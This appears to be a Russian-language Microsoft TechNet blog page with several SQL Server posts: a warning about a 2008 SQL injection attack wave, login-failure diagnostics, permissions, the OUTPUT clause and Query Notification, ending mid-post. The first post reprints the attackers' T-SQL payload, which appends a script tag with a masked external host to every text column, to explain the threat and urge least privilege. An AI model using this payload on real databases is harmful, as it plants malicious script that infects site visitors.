Welcome to TechNet Blogs Sign in | Join | Help

Субботнее чтение для дизайнеров и администраторов Web приложений: SQL injection атаки

Вот здесь собрана информация об участившихся последнее время SQL injection атаках, а также рекомендации по предотвращению таковых: http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx

Все на английском. Резюме: С конца прошлого года сейчас идет уже четвертая волна SQL injection атак на Web приложения. Эти атаки не результат каких-либо уязвимостей в SQL Server или IIS; атаки используют уязвимости самих Web приложений. Основная схема атак: нахождение Web приложений дающих пользователям достаточные права на SQL Server-е и исполнение примерно следующего кода:

DECLARE @T varchar(255),@C varchar(255)

DECLARE Table_Cursor CURSOR FOR

select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='U' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0) BEGIN

exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.************.js></script>''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

Такой запрос обновляет данные во всех символьных колонках в пользовательских таблицах на SQL Server-е, добавляя к ним ссылку на некоторый скрипт, которая теперь и будет возвращаться пользователям вашего приложения вместе с данными.

Основной совет: Web приложения должны использовать минимальные необходимые привилегии на SQL Server-е своим пользователям. По ссылке все расписано довольно подробно и также даются рекомендации как проверить не подверглись ли вы такой атаке.

Всем хороших выходных J

Ошибка ”login failed for user …”: что делать?

Диагностика ошибок аутентификация в SQL Server может оказаться весьма проблематичной (и мы работаем над ее улучшением J) и этому есть несколько причин. Из соображений безопасности мы не хотим возвращать пользователю подробное описание проблемы. Более подробную информацию о причине ошибки можно найти в журнал регистрации ошибок. Например:

Клиент получает сообщение:

Login failed for user 'sa'.

Журнал регистрации ошибок содержит следующую запись:

Error: 18456, Severity: 14, State: 8. Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: <local machine>]

Здесь уже имеется дополнительная информация о причине ошибки (неправильный пароль) и о клиентской машине, с которой пытались произвести аутентификацию (либо local mchine либо IP адрес).

Однако некоторые причины могут быть не столь очевидны. Некоторые причины неудачной аутентификации можно определить по статусу (State) ошибки. Ниже приведены возможные значения статуса ошибки 18456 и их расшифровка:

Статус ошибки (State)

Описание

1

Стандартный статус

2 and 5

Недействительный идентификатор пользователя

6

Попытка использования Windows login имени с SQL аутентификацией

7

Login блокирован (disabled)

8

Пароль не совпадает

9

Недействительный пароль

11 and 12

Действительный  login, но отказано в доступе к серверу

13

SQL Server сервис приостановлен

18

Необходима смена пароля

 

- Ошибка со статусом 2 – ошибка Windows аутентификации: удаленный Windows пользователь не может быть проассоциирован с Windows пользователем на сервере; ошибка со статусом 5 – ошибка SQL аутентификации: пользователь с таким именем не найден;

- Аналогично: ошибка со статусом 9 может произойти при Windows аутентификации (в отличии от ошибки со статусом 8 – SQL аутентификация) – например при попытке аутентификации с удаленной машины с другими требованиями к паролю;

- Большинство проблем возникает с диагностикой причин ошибок со статусом 1, 11 или 12. Наиболее частые их причины лежат в конфигурации самой машины и Windows конфигурации: брандмауэр,  Active Directory и т.д. Чтобы понять причину такой ошибки можно воспользоваться внутренним буфером (токая возможность добавлена в SQL Server 2005 SP2), который собирает коды ошибок возвращаемых Win API , и произошедших в процессе аутентификации. Посмотреть содержимое буфера можно с помощью следующей команды:

 

Select * from sys.dm_os_ring_buffers

where ring_buffer_type = 'RING_BUFFER_SECURITY_ERROR'

 

Результат в XML формате содержит имя Win API вернувшей ошибку и код ошибки. Например:

 

<Record id="197" type="RING_BUFFER_SECURITY_ERROR" time="3552445157">

  <Error>

    <SPID>158</SPID>

    <APIName>NetValidatePwdPolicy</APIName>

    <CallingAPIName>CAPIPwdPolicyManager::ValidatePwdForLogin</CallingAPIName>

    <ErrorCode>0x89B</ErrorCode>

  </Error>

</Record>

 

NetValidatePwdPolicy вернула ошибку 89B. Зная API и код ошибки можно найти (в msdn, например) описание ее причины:

 

0x89B = 2203 = The password parameter is invalid.

 

Еще одной распространенной причиной ошибок аутентификации со статусом 12 являются SQL Server Endpoints (конечная точка (?)). Если пользователь не имеет прав на Endpoint, через которую он пытается присоединиться к серверу (а именно: CONNECT ON ENDPOINT), он получит ошибку со статусом 12.

 

В следующий раз я подробнее расскажу о SQL Server Endpoints.  Следите за рекламой J

Возвращение :)

Я здесь давно не была и прошу за это прощения. У меня есть несколько оправданий J

Во-первых, мы очень-очень торопились закончить очередную версию SQL Server – SQL Server 2008, который будет выпущен уже совсем скоро.

Во-вторых, я перешла в другу группу внутри SQL Server – SQL Server Security и мне нужно было время освоиться на новом месте.

Как вы понимаете, писать я теперь буду в основном про безопасность SQL Server-а и всю связанную с этим функциональность.

Итак, поехали…

SQL Server 2005: права доступа типа - Control

Знаете ли Вы что

 

В SQL Server 2005 возможно дать пользователю права доступ типа Control к объекту (таблице, виду и т.д.), который фактически дает те же права, что и у собственника объекта.

 

Пример:

GRANT CONTROL

ON t_Table TO Uesr1

GO

 

Control имеет некоторые особенности.

Обычно цепочка предоставлений прав доступа к объекту пользователями всегда хранится, на случай, если в дальнейшем эти права будут отменены с использованием опции Cascade.

 

Например:

1. пользователь User1 дал права доступа типа Select к объекту Table пользователю User2;

2. права пользователя User1 по доступу к объекту Table были отменены с использованием опции Cascade;

3. в результате User2 также лишился прав доступа к объекту.

 

С Control ситуация выглядит иначе.

 

Пример:

 

1.владелец объекта дал права доступа к объекту типа Control пользователю User1 с использованием опции GRANT OPTION;

2.пользователь User1 дал права доступа типа Control пользователю User2;

3.права пользователя User1 по доступу к объекту были отменены с использованием опции Cascade;

4.пользователь User2 по-прежнему имеет права Control на объект.

 

Grant Control on T

to usr1

WITH GRANT OPTION

go

 

Execute as user = 'usr1'

go

 

Grant Control on T

to usr2

go

 

REVERT

go

 

Revoke Control on T

from usr1 Cascade

go

 

--Usr2 по-прежнему имеет права Control на T

 

Как обойти эту ситуацию

Если требуется, чтобы права Control были отменены у всех пользователей, которым их дал User1, User1 должен быть явно указан в момент предоставления прав другому пользователю:

 

Grant Control on T

to usr2

as usr1

go

Использование оператора OUTPUT для отслеживания изменений DML

Знаете ли вы, что…

 

Вы можете отслеживать изменения данных без использования триггеров:

 

В SQL Server 2005 оператор OUTPUT является частью синтаксиса DML предложений.

Например:

 

INSERT

    [ TOP ( expression ) [ PERCENT ] ]

    [ INTO ]

    { <object> | rowset_function_limited

      [ WITH ( <Table_Hint_Limited> [ ...n ] ) ]

    }

{

    [ ( column_list ) ]

    [ <OUTPUT Clause> ]

    { VALUES ( ( { DEFAULT | NULL | expression } [ ,...n ] ) [ ,...n ] )

    | derived_table

    | execute_statement

    | <dml_table_source>

    | DEFAULT VALUES

    }

}

 

Оператор OUTPUT может сохранять результирующее множество строк затронутых DML оператором в таблицу или переменную типа таблица.

Например, сохранить все добавленные (или удаленные) строки.

 

Функционально это похоже на промежуточные таблицы INSERTED и DELETED, используемые триггерами.

 

Пример:

--Создадим таблицу Address

Create Table Address (ProductID Int, SupplierID Int, Address Varchar(255))

 

--Вставим данные в таблицу

Insert into Address Values (234,567,'1234 One SQL Way, Microsoft City, U.S.')

Insert into Address Values (345,678,'1234 One Windows Way, Microsoft City, WA')

 

--Объявим табличную переменную

Declare @Recordchanges table (change Varchar(255))

 

--Обновим данные в таблице

Update Address

Set Address=reverse(address)

--Запишем изменения в табличную переменную

OUTPUT 'Изначальные данные:' + DELETED.Address+' изменены на: '+ INSERTED.Address+'' into @RecordChanges

 

--Читаем изменения из табличной переменной

Select * from @RecordChanges

 

На выходе имеем:

 

Change

------------------------

Изначальные данные:'1234 One SQL Way, Microsoft City, U.S.' has been изменены на: '.S.U ,ytiC tfosorciM ,yaW LQS enO 4321'

 

Изначальные данные:'1234 One Windows Way, Microsoft City, WA' has been изменены на: 'AW ,ytiC tfosorciM ,yaW swodniW enO 4321'

 

Извещение об изменениях в результатах запроса (Query Notification)

Знаете ли вы, что…

 

Query Notification в SQL 2005 – новая функциональность, позволяющая отправить запрос на SQL Server и потребовать генерации извещения в случае, если исполнение этого запроса вернет результат отличный от полученного изначально. Это значит, что если произошли какие-то изменения в данных таблиц, включенных в запрос, .NET код будет автоматически извещен.

 

Команды, посылаемые на сервер через клиентский API(ADO.NET, OLE DB, ODBC, SOAP) могут содержать свойство Notification, которое создать «подписку» на оповещение об изменении данных.

 

Например:

……………………………………………………………………………

SqlConnection c = new SqlConnection(…………………………);

SqlCommand cm = c.CreateCommand();

 

cm.CommandText = "Select id, time from dbo.t_table";

 

SqlString notifyId = "Notification_Id";

SqlString notifOpt = "service = service_name; local database = database_name";

int timeOut = 50000;

 

cm.Notification = new SqlNotificationRequest (notifyId.ToString(), notifOpt.ToString(), timeOut);

……………………………………………………………………………

 

Теперь, если результат, возвращаемый запросом Select id, time from dbo.t_table изменится, приложение получит извещение.

 

Эта технология может быть особенно полезна для кэширования результатов для web-сайтовских приложений.

 

Более подробно (но на английском J) можно почитать, например, здесь:

http://msdn2.microsoft.com/en-us/library/ms379594(VS.80).aspx

 

Исполнения T-SQL команд на удаленном сервере с помощью EXECUTE AT

Ну, вот. С индексами разобрались. Теперь, как и обещала, короткие (и не очень) сообщения в стиле «Tips & Tricks».

 

Знаете ли вы, что…

 

В предыдущих версиях SQL Server (до SQL Server 2005) команду EXECUTE можно было выполнять только на локальном сервере. В SQL Server 2005 команда EXECUTE имеет параметр AT, который используется для выполнения EXECUTE на удаленном linked сервере.

 

Пример:

--------

 

--Добавим linked сервер на локальной машине:

EXEC sp_addlinkedserver 'SQLSERVER2', 'SQL Server'

 

--Разрешим RPC вызовы

Exec SP_Serveroption 'SQLSERVER2','RPC OUT',TRUE

 

Все готово для выполнения T-SQL команд на linked сервере: